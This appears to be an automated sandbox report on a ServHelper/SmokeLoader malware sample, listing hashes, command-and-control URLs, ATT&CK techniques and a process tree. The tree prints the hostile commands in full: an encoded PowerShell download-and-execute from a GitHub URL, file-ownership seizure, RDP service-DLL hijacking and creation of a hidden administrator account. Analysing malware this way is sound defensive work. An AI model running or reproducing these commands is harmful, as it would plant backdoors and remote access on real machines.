servhelper | 991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954

Analysis

max time kernel
150s
max time network
129s
platform
windows7_x64
resource
win7-en-20210920
submitted
18-10-2021 13:00

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General

Target

2b858c79a8a7a652f8cb60059eb7a95a.exe
Size

343KB
MD5

2b858c79a8a7a652f8cb60059eb7a95a
SHA1

e669008a553976d275388ee02e49d5c938a6c27b
SHA256

991e3c5fb9946ed0490a723a541bda0f36a9b94fff8a68f6729c15e1044dd954
SHA512

c893d061191282d82bb421ef587b5c0dd973a31aec371d1bba6aba83a5a48444bc1660b9aa80d0f8f1f3beceb86825de2b249a0ffb64c905588f11c4a0bae8c9

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
33	2020	powershell.exe
34	2020	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

Processes:

9859.exe

pid	Process
1100	9859.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid	Process
708	icacls.exe
1112	icacls.exe
1692	icacls.exe
1384	icacls.exe
1224	icacls.exe
1708	takeown.exe
108	icacls.exe
1740	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x0009000000012237-141.dat	upx
behavioral1/files/0x002200000000f5b4-142.dat	upx

Deletes itself 1 IoCs

Processes:

pid	Process
1212

Loads dropped DLL 4 IoCs

Processes:

pid	Process
1212
1212
992
992

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
1384	icacls.exe
1224	icacls.exe
1708	takeown.exe
108	icacls.exe
1740	icacls.exe
708	icacls.exe
1112	icacls.exe
1692	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\381LT172OHC3YEH1R8HF.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

2b858c79a8a7a652f8cb60059eb7a95a.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2b858c79a8a7a652f8cb60059eb7a95a.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6044665020c4d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1608	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

2b858c79a8a7a652f8cb60059eb7a95a.exe

pid	Process
612	2b858c79a8a7a652f8cb60059eb7a95a.exe
612	2b858c79a8a7a652f8cb60059eb7a95a.exe
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212
1212

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid	Process
1212

Suspicious behavior: LoadsDriver 4 IoCs

Processes:

pid	Process
468
992
992
992

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

2b858c79a8a7a652f8cb60059eb7a95a.exe

pid	Process
612	2b858c79a8a7a652f8cb60059eb7a95a.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeRestorePrivilege	1740	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeAuditPrivilege	920	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeAuditPrivilege	920	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1620	WMIC.exe
Token: SeAuditPrivilege	1620	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1620	WMIC.exe
Token: SeAuditPrivilege	1620	WMIC.exe
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

pid	Process
1212
1212
1212
1212

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

pid	Process
1212
1212
1212
1212

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9859.exepowershell.execsc.exenet.execmd.exe

description	pid	Process	procid_target
PID 1212 wrote to memory of 1100	1212		27
PID 1212 wrote to memory of 1100	1212		27
PID 1212 wrote to memory of 1100	1212		27
PID 1100 wrote to memory of 1816	1100	9859.exe	29
PID 1100 wrote to memory of 1816	1100	9859.exe	29
PID 1100 wrote to memory of 1816	1100	9859.exe	29
PID 1816 wrote to memory of 1240	1816	powershell.exe	31
PID 1816 wrote to memory of 1240	1816	powershell.exe	31
PID 1816 wrote to memory of 1240	1816	powershell.exe	31
PID 1240 wrote to memory of 1948	1240	csc.exe	32
PID 1240 wrote to memory of 1948	1240	csc.exe	32
PID 1240 wrote to memory of 1948	1240	csc.exe	32
PID 1816 wrote to memory of 1408	1816	powershell.exe	33
PID 1816 wrote to memory of 1408	1816	powershell.exe	33
PID 1816 wrote to memory of 1408	1816	powershell.exe	33
PID 1816 wrote to memory of 1516	1816	powershell.exe	35
PID 1816 wrote to memory of 1516	1816	powershell.exe	35
PID 1816 wrote to memory of 1516	1816	powershell.exe	35
PID 1816 wrote to memory of 1584	1816	powershell.exe	37
PID 1816 wrote to memory of 1584	1816	powershell.exe	37
PID 1816 wrote to memory of 1584	1816	powershell.exe	37
PID 1816 wrote to memory of 1708	1816	powershell.exe	41
PID 1816 wrote to memory of 1708	1816	powershell.exe	41
PID 1816 wrote to memory of 1708	1816	powershell.exe	41
PID 1816 wrote to memory of 108	1816	powershell.exe	42
PID 1816 wrote to memory of 108	1816	powershell.exe	42
PID 1816 wrote to memory of 108	1816	powershell.exe	42
PID 1816 wrote to memory of 1740	1816	powershell.exe	43
PID 1816 wrote to memory of 1740	1816	powershell.exe	43
PID 1816 wrote to memory of 1740	1816	powershell.exe	43
PID 1816 wrote to memory of 708	1816	powershell.exe	44
PID 1816 wrote to memory of 708	1816	powershell.exe	44
PID 1816 wrote to memory of 708	1816	powershell.exe	44
PID 1816 wrote to memory of 1112	1816	powershell.exe	45
PID 1816 wrote to memory of 1112	1816	powershell.exe	45
PID 1816 wrote to memory of 1112	1816	powershell.exe	45
PID 1816 wrote to memory of 1692	1816	powershell.exe	46
PID 1816 wrote to memory of 1692	1816	powershell.exe	46
PID 1816 wrote to memory of 1692	1816	powershell.exe	46
PID 1816 wrote to memory of 1384	1816	powershell.exe	47
PID 1816 wrote to memory of 1384	1816	powershell.exe	47
PID 1816 wrote to memory of 1384	1816	powershell.exe	47
PID 1816 wrote to memory of 1224	1816	powershell.exe	48
PID 1816 wrote to memory of 1224	1816	powershell.exe	48
PID 1816 wrote to memory of 1224	1816	powershell.exe	48
PID 1816 wrote to memory of 1144	1816	powershell.exe	49
PID 1816 wrote to memory of 1144	1816	powershell.exe	49
PID 1816 wrote to memory of 1144	1816	powershell.exe	49
PID 1816 wrote to memory of 1608	1816	powershell.exe	50
PID 1816 wrote to memory of 1608	1816	powershell.exe	50
PID 1816 wrote to memory of 1608	1816	powershell.exe	50
PID 1816 wrote to memory of 888	1816	powershell.exe	51
PID 1816 wrote to memory of 888	1816	powershell.exe	51
PID 1816 wrote to memory of 888	1816	powershell.exe	51
PID 1816 wrote to memory of 796	1816	powershell.exe	52
PID 1816 wrote to memory of 796	1816	powershell.exe	52
PID 1816 wrote to memory of 796	1816	powershell.exe	52
PID 796 wrote to memory of 1800	796	net.exe	53
PID 796 wrote to memory of 1800	796	net.exe	53
PID 796 wrote to memory of 1800	796	net.exe	53
PID 1816 wrote to memory of 1056	1816	powershell.exe	54
PID 1816 wrote to memory of 1056	1816	powershell.exe	54
PID 1816 wrote to memory of 1056	1816	powershell.exe	54
PID 1056 wrote to memory of 1028	1056	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe
"C:\Users\Admin\AppData\Local\Temp\2b858c79a8a7a652f8cb60059eb7a95a.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:612

C:\Users\Admin\AppData\Local\Temp\9859.exe
C:\Users\Admin\AppData\Local\Temp\9859.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ad-mfwll.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE9F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBE9E.tmp"
      4⤵
      PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:108
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1112
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1692
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1384
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1224
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1144
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1608
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:888
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:796
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1028
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1620
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1616
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1520
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1456
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:572
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1340
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:976

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1312
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1740

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dWzoqGmg /add
1⤵
PID:556
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dWzoqGmg /add
  2⤵
  PID:1764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dWzoqGmg /add
    3⤵
    PID:748

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:844
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1488

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:816

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1028
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1644

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dWzoqGmg
1⤵
PID:892
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dWzoqGmg
  2⤵
  PID:1728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dWzoqGmg
    3⤵
    PID:392

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1540
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:920

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1056
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1620

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:108
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\9859.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\9859.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBE9F.tmp

MD5
a62a814b743ad23892a5ef1951893776

SHA1
1f1daac1ced88b677d7fedb7e54ce129ddf7db38

SHA256
95156ef49667f362c6b303aba5eaa3706f63485796bd3528b6b52828776313c5

SHA512
8fcc154ba75e5b9433bc6d08d623099df0c08b2c71326354bccf02f0c850c442efa574dcbef248845f8de293223ab683de0b6ea68f0d26d46d67aeabdc0555c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\ad-mfwll.dll

MD5
828314fa35819f2bee2337d5a740e47d

SHA1
f49ad8e60bf23b691ea64fb9e166cdfd42af97a7

SHA256
ccfba30e5c9bed345ce829757213da77288df0c6c3f912cefb7ad15ace26c736

SHA512
3dcf1567bd8eb3b4ee70f5c592b2a75a82b089aed9f68dc3cb92ffd5dae3b96174f587dae2548df0e8a98674e92c87c40ed5597e1823f2059d01feaaad1889aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\ad-mfwll.pdb

MD5
5489f9f36ad32bf0750e1a08bffa0004

SHA1
08334091ad21829cea85fe9fa52bb8ae4b1dc4a7

SHA256
3bfe66e7e0ca83605a470651eb57b91af5f4477859d3c36338e0570afed3b8c5

SHA512
f7d3d986146d636b03b2cde2782bfae44efe8f9001dfe31433405fde294b5ef84d5f08144ccd941872f104bb64ff9bebcfb5bfbf8aaa98a1e40da908fd7e0ebf

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
f783019c5dc4a5477d1ffd4f9f512979

SHA1
37c8d1e5dd2ebce647c4e0a92f8598ebf2fdcc7b

SHA256
4c81fee866a87b2de6e10640fe094f0db29258014177e294ac94a819940f5348

SHA512
64d90352f4466f0097dd2c7ace8ccb155947dda8ae148c8c6ba1507a9e879247fab2eba452c812ba628a65de93cc096dabfcb23d2be4b525a92e5ef9e4b57d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
799a08bfd2b7617565fa14131902579f

SHA1
07ac15a1fd7c61e016e7843ae09db29b3049de68

SHA256
bf90b497c7eb5404649225f5348d69d8a3ef2d9826ed9ee017987649ffd14ac4

SHA512
1c8e4855c172c5b25501a0af3448332a79bbc42227452c6224884dbc5957c072658fa94bc150d8f50db9071e1b07cfc95e0268394255e1cb7a1c8446da0c4d42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
799a08bfd2b7617565fa14131902579f

SHA1
07ac15a1fd7c61e016e7843ae09db29b3049de68

SHA256
bf90b497c7eb5404649225f5348d69d8a3ef2d9826ed9ee017987649ffd14ac4

SHA512
1c8e4855c172c5b25501a0af3448332a79bbc42227452c6224884dbc5957c072658fa94bc150d8f50db9071e1b07cfc95e0268394255e1cb7a1c8446da0c4d42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
799a08bfd2b7617565fa14131902579f

SHA1
07ac15a1fd7c61e016e7843ae09db29b3049de68

SHA256
bf90b497c7eb5404649225f5348d69d8a3ef2d9826ed9ee017987649ffd14ac4

SHA512
1c8e4855c172c5b25501a0af3448332a79bbc42227452c6224884dbc5957c072658fa94bc150d8f50db9071e1b07cfc95e0268394255e1cb7a1c8446da0c4d42

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCBE9E.tmp

MD5
edc0e5daeb8f91828a69e224801f8007

SHA1
16dec27c19904f945ec9fd19414c71a5445cfa5a

SHA256
d38bd1a154b7db83b5c691679ec68ec486766a034e4535047b637c2d1e24b65a

SHA512
a85bd28d22d1409b05fd023280f4928e21495bebd78c7daaee8fffc349d1ba196f903e5b8417f12aec11e12faa92d516ba1973b4be55385f8b02a5e7f53c38e3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ad-mfwll.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ad-mfwll.cmdline

MD5
4d33576a30a16deda024ed9abce4d5f1

SHA1
3b5a3e51f5b2c2efb0a3e49b3d5ed52b73b51230

SHA256
e5b9a2d367745e866c66b00880eaf96f646b4856ec45a49a5efac626a4ebbd5a

SHA512
af572c6889f857713ec70a6dc3fc455eb81c15e3ae6a435794c8f0cc09f87700882b310dd25d6d72de8182f0f6d92472935e458398964e494becfde3dd390435

Download Submit
